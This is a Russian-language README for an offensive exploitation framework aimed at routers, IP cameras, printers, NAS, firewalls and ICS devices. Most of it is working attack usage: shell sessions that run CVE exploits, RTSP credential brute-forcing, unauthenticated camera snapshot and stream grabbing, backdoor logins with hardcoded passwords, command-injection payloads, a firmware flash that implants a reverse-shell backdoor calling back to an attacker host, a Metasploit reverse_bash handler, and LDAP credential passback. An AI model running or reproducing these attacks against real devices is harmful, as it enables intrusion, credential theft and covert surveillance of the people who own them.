
Фреймворк оценки безопасности встраиваемых устройств — 700 модулей, 350 CVE, 55 вендоров, движок APT-групп. Охватывает роутеры, IP-камеры, GPON ONT, CPE интернет-провайдеров, IoT/встраиваемый периметр.
Примечание о платформе: Этот фреймворк разработан и протестирован в первую очередь на Linux (Debian/Ubuntu/Kali). Большинство модулей, зависящих от оборудования (беспроводные адаптеры, USB-устройства, доступ к raw-сокетам, инструменты для работы с прошивками), требуют Linux. Запуск на Windows или macOS может вызвать ошибки или ограничить функциональность многих модулей. Для максимальной совместимости настоятельно рекомендуется Linux.
Фреймворк для оценки безопасности встраиваемых устройств и периметра
EmbedXPL-Forge — это открытый фреймворк для эксплуатации и сканирования, предназначенный для специалистов по безопасности, проводящих аудит роутеров, коммутаторов, IP-камер, NVR/DVR, GPON ONT, ISP CPE, принтеров, IoT, OT/ICS и встраиваемых граничных устройств. Он предоставляет 2800+ активных модулей, охватывающих проверку учётных данных, эксплуатацию уязвимостей, сканирование сети, генерацию полезной нагрузки, атаки на RTSP-камеры, манипуляцию прошивками, мультиязычную оркестрацию PolyExploit и полный арсенал для принтеров — с 700+ CVE, сопоставленными по 114+ вендорам, и движком атак APT-групп, воспроизводящим реальные цепочки атак государственных хакерских группировок.
Версия: 3.2.0
pip install embedxpl[nse])Сети / роутеры / CPE: 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL
Камеры / NVR / DVR: Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · камеры Cisco · Geuterbruck · камеры Honeywell · Jovision · камеры Siemens · Xiongmai (OEM) · Zivif · MVPower DVR · универсальные P2P WiFi-камеры · универсальные DVR/NVR OEM
Принтеры / МФУ: HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · универсальные IPP/PJL/LPD/CUPS/WSD
NAS / VPN / межсетевые экраны / безопасность: QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent
ICS / OT / робототехника: Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP
Умный дом / морские системы / встраиваемые ОС: eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (морские) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen
pip install embedxpl embedxpl
### Вариант 2 — С помощью NSE-скриптов Nmap```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"
# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install
# Verify installation
python -m embedxpl.nse list
Примечание: В Linux/macOS на этапе установки может потребоваться
sudoдля записи в/usr/share/nmap/scripts/. Выполните:sudo python -m embedxpl.nse install
git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge chmod +x setup_venv.sh run.sh ./setup_venv.sh # creates .venv (PEP 668 safe) ./run.sh # recommended launcher
.venv/bin/python -m embedxpl.nse install
### Вариант 4 — модуль Python```bash
pip install embedxpl
python -m embedxpl
pip install embedxpl
embedxpl
embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1
embedxpl -c "discover 192.168.1.0/24"
embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100
## Использование
### Интерактивная оболочка```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run
exf > apt list
exf > apt show apt28
exf > apt search mikrotik
exf > apt run apt28
exf > apt run apt28 0
### Обнаружение сети```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover
# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1
# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh
Обнаружение использует многофазный конвейер: ARP-сканирование → Nmap (многометодные пробы хостов) → Scapy → резервное TCP-подключение. Результаты сопоставляются с каталогом модулей и фильтруются по вендору/модели. База данных IEEE OUI (embedxpl/data/oui.txt) сопоставляет MAC-адреса с вендорами, используя сначала онлайн-поиск, а при неудаче — локальный. Когда хост предоставляет возможности WiFi, инструмент рекомендует WirelessXPL-Forge для атак, специфичных для беспроводных сетей.
Профили таймингов (T0–T5) повторяют соглашения Nmap:
exf > sessions list
exf > sessions show 192.168.1.1
exf > sessions export 192.168.1.1
exf > sessions delete 192.168.1.1
exf > sessions purge
Сессии хранятся в `~/.exf_sessions/` в формате JSON с ключом по SHA-256 от IP+MAC. При повторном обнаружении известного хоста уже протестированные модули отображаются как `[Tested]` и по умолчанию пропускаются.
### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run
Полнофункциональный конвейер атак на RTSP с нативной реализацией на Python, охватывающий все стандартные режимы транспорта RTSP.
from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream
scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])
attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts)
for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True
**Ожидаемый вывод:**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3
hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])
**Ожидаемый ввод/вывод:**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])
# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]
Используется, когда камеры находятся за HTTP-прокси или корпоративными межсетевыми экранами, блокирующими TCP/554.```python from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel
tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" )
client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")
**Ожидаемый ввод/вывод:**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
status = 200
server = "Hikvision IP Camera NVRA (V5.4.5)"
methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"
embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options
Option Default Description
target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery
embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run
## Nmap NSE-скрипты
EmbedXPL-Forge включает 7 пользовательских Nmap NSE-скриптов для сканирования IoT/камер и обнаружения CVE.
### Установка```bash
# Install with NSE extras
pip install "embedxpl[nse]"
# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install
# Force overwrite existing scripts
python -m embedxpl.nse install --force
# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts
Ожидаемый вывод:``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse
Installed: 7 script(s) [OK] nmap --script-updatedb complete
### Список / Информация```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover
embedxpl-rtsp-discover — Обнаружение службы RTSPОбнаруживает службы RTSP, извлекает баннер Server:, определяет производителя, перечисляет поддерживаемые методы и сопоставляет с известными CVE.```bash
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24
nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24
**Ожидаемый вывод:**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
| Status : 200
| Server : Hikvision IP Camera NVRA (V5.4.5)
| Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
| Vendor : Hikvision
| Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
| EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_ Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack
embedxpl-camera-identify — Глубокое фингерпринтирование камерМультипротокольная идентификация: опрашивает веб-интерфейс HTTP/HTTPS, баннер RTSP и ONVIF. Извлекает производителя, модель, прошивку, серийный номер и MAC.```bash nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24
**Ожидаемый вывод (Hikvision):**```
80/tcp open http
| embedxpl-camera-identify:
| Protocol : HTTP (HTTP 200)
| Vendor : Hikvision
| Model : DS-2CD2143G0-I
| Firmware : V5.6.2 build 190401
| Serial : DS-2CD2143G0-I20190401AAWRA123456789
| CVEs : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
| Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
| EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_ Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
embedxpl-hikvision-vuln — Проверка CVE HikvisionАктивная проверка CVE-2021-36260 (RCE через /SDK/webLanguage, CVSS 9.8) и CVE-2017-7921 (обход аутентификации для получения снимка).```bash
nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100
nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24
**Ожидаемый вывод:**```
80/tcp open http
| embedxpl-hikvision-vuln:
| Device : DS-2CD2143G0-I
| Firmware : V5.3.0 build 170112
| CVE-2021-36260 : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
| CVE-2017-7921 : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
| EmbedXPL RCE module : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_ Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
embedxpl-dahua-vuln — Проверка CVE DahuaПроверяет CVE-2021-33044 (обход аутентификации, CVSS 9.8), CVE-2020-25078 (раскрытие пользователей), CVE-2013-6117 (устаревшие DVR). Также охватывает OEM-производителей Dahua: Amcrest, Intelbras, TVT, Jovision, ANNKE.```bash nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24
**Ожидаемый вывод:**```
80/tcp open http
| embedxpl-dahua-vuln:
| Vendor : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
| CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
| CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
| CVE-2013-6117 : NOT VULNERABLE
| EmbedXPL Auth Bypass : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
| EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_ Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
embedxpl-rtsp-creds — Тестер учётных данных RTSP по умолчаниюПроверяет 18 пар учётных данных по умолчанию на 9+ распространённых маршрутах RTSP с использованием Basic-аутентификации. Сообщает о первом совпадении.```bash nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100
nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100
**Ожидаемый вывод:**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
| Server : Hikvision IP Camera NVRA
| Credential found : admin: (empty password)
| Stream URL : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
| Auth type : Basic
| Response code : 200
| EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_ Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack
embedxpl-iot-cve-check — Мультивендорная CVE-идентификацияОбнаруживает и проверяет 10 активных CVE в устройствах Hikvision, Dahua, D-Link NAS, Reolink, Uniview, QNAP, SonicWall и GPON.```bash nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24
**Ожидаемый вывод:**```
80/tcp open http
| embedxpl-iot-cve-check:
| CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
| → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
| CVE-2021-33044 (Dahua, CVSS 9.8) : NOT VULNERABLE — HTTP 404
| EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_ Full exploitation: pip install embedxpl && embedxpl
embedxpl-camera-snapshot — Неаутентифицированный доступ к снимкамПроверяет 16 специфичных для производителей конечных точек снимков. Сообщает о любом URL, возвращающем image/* без учётных данных. Опционально сохраняет JPEG-файлы локально.```bash
nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100
nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24
**Ожидаемый вывод:**```
80/tcp open http
| embedxpl-camera-snapshot:
| Endpoint 1 (Dahua):
| URL : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
| Content-Type : image/jpeg
| Size : 45231 bytes
| Access : UNAUTHENTICATED SNAPSHOT ACCESS
| EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_ Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all
python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt
python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554
**Удаление:**```bash
python -m embedxpl.nse uninstall
embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run
**Что он делает:**
1. Определяет формат прошивки (TRX, DLOB, SEAMA, WRGG, raw binary)
2. Внедряет reverse shell бэкдор по подходящему смещению
3. Пересчитывает контрольную сумму CRC32/MD5
4. Загружает через специфичную для вендора конечную точку прошивки (обходя аутентификацию, где это применимо)
5. Ожидает перезагрузки устройства и проверяет выполнение бэкдора
## PolyExploit Orchestrator
Обеспечивает компиляцию C/C++ во время выполнения и выполнение скриптов на нескольких языках для эксплойтов, не переносимых на чистый Python.
### Компиляция C/C++ во время выполнения```python
from embedxpl.core.poly import CCompiler
compiler = CCompiler()
# Check available compilers
print(compiler.compiler_available()) # {'gcc': True, 'clang': False, 'mingw': False}
# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
// Stack overflow PoC
char buf[64];
memcpy(buf, argv[1], atoi(argv[2]));
return 0;
}
""",
arch="x86", # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)
# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)
from embedxpl.core.poly import PolyRunner
runner = PolyRunner() print(runner.available_runtimes())
result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"])
runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", })
results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"])
## Новое в v3.1.0 — CVE 2026/2025/2024 + домен принтеров + Quality Gates
**54 новых модуля** для принтеров, встраиваемых ОС, ICS/OT, умного дома, морского IoT и цепочек Pwn2Own 2026. Ключевые моменты:
### Цепочки Pwn2Own 2026```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed
# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run
exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run
exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run
exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root)
exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root)
exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run
exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run
### Примеры Printer Arsenal```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS : READY
INFO PAGECOUNT : 12847
INFO MEMORY : 512000 BYTES
# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
exf (Ricoh HTTP BOF) > set target 192.168.1.101
exf (Ricoh HTTP BOF) > run
# Brother LDAP credential passback
exf > use exploits/printers/brother/brother_ldap_smb_passback
exf (Brother LDAP Passback) > set target 192.168.1.102
exf (Brother LDAP Passback) > set attacker_ip 192.168.1.10
exf (Brother LDAP Passback) > run
[+] LDAP server redirected — wait for printer authentication
27+ модулей эксплойтов, нацеленных на заводские пароли, жёстко закодированные бэкдоры, алгоритмы генерации ключей WPA по умолчанию и CSRF-векторы для перехвата DNS на устаревших и современных SOHO-роутерах. Ключевые примеры:```
exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b
exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l
exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root❌0:0:root:/root:/bin/sh ...
exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b
exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ...
exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi
exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/
**Все 27 новых вендоров/модулей:**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · плюс заполнение пробелов для belkin, netgear, trendnet.
## Структура модуля```
embedxpl/
├── core/
│ ├── rtsp/ # RTSP camera engine
│ │ ├── client.py # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│ │ ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│ │ ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│ │ └── models.py # RTSPStream dataclass, AuthType enum
│ └── poly/
│ ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│ └── runner.py # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│ ├── creds/ # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│ ├── exploits/
│ │ ├── cameras/ # IP camera exploits by vendor
│ │ │ ├── multi/ # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│ │ │ ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│ │ │ ├── dahua/ # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│ │ │ ├── axis/ # Axis (CVE-2018-10660, ...)
│ │ │ ├── reolink/ # Reolink (CVE-2021-40655, CVE-2022-30600)
│ │ │ ├── amcrest/ # Amcrest (CVE-2019-3950)
│ │ │ ├── uniview/ # Uniview UNV (CVE-2024-37630)
│ │ │ ├── tapo/ # TP-Link Tapo (CVE-2021-4045)
│ │ │ ├── annke/ # ANNKE DVR/NVR (CVE-2021-32941)
│ │ │ ├── swann/ # Swann DVR/NVR (default creds + RTSP)
│ │ │ └── edimax/ # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│ │ ├── firmware/ # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
│ │ ├── nas/ # NAS exploits (QNAP, D-Link NAS, Zyxel)
│ │ ├── routers/ # Router exploits by vendor (85 vendor folders — see full list below)
│ │ ├── vpn/ # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│ │ ├── switches/ # Switch exploits (Cisco, D-Link, NETGEAR)
│ │ └── soho_edge/ # SOHO edge device exploits
│ ├── scanners/ # Network scanning and AutoPwn
│ ├── payloads/ # Reverse/bind shells (multi-arch)
│ ├── encoders/ # Payload encoding (Base64, Hex)
│ └── generic/ # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/ # NSE script manager (Python)
│ ├── manager.py # NSEManager class — install/uninstall/list/run
│ └── __main__.py # CLI: python -m embedxpl.nse
├── resources/
│ └── rtsp/
│ ├── routes.txt # 195+ RTSP stream paths
│ └── credentials.json# 80+ default username:password pairs
└── data/
└── oui.txt # IEEE OUI database for MAC-to-vendor lookup
nse/ # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse
В этом разделе описаны модули для устройств ISP, эксплойты для бэкдоров и заводских паролей, клиентский фреймворк RTSP, инструменты OSINT и специализированные модули безопасности.
Эксплойты и сканеры, нацеленные на CPE, выдаваемые интернет-провайдерами, и IP-камеры, обычно развёртываемые провайдерами (ONT на базе Sercomm, GPON CPE и устройства под брендом ISP).
Примеры использования:```bash
embedxpl use routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 embedxpl (ZXHNCred) > set rhost 192.168.1.1 embedxpl (ZXHNCred) > run
[+] Connected to 192.168.1.1:80 [+] Sending ETHCheat request: GET /getpage.lua?pid=1000ÐCheat=1 [!] VULNERABLE: Credentials exposed Admin Password: admin123 WLAN PSK: MyWifiPass SSID: ZTE_Router_ABC
[-] No credential fields found in response [-] Target may be patched or different firmware
Проверка подписи:```bash
# Intelbras IWR LuCI RPC RCE
embedxpl use routers/intelbras/iwr_luci_rpc_rce
embedxpl (IWRLuci) > set rhost 192.168.0.1
embedxpl (IWRLuci) > set cmd "id"
embedxpl (IWRLuci) > run
# Expected output:
[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys
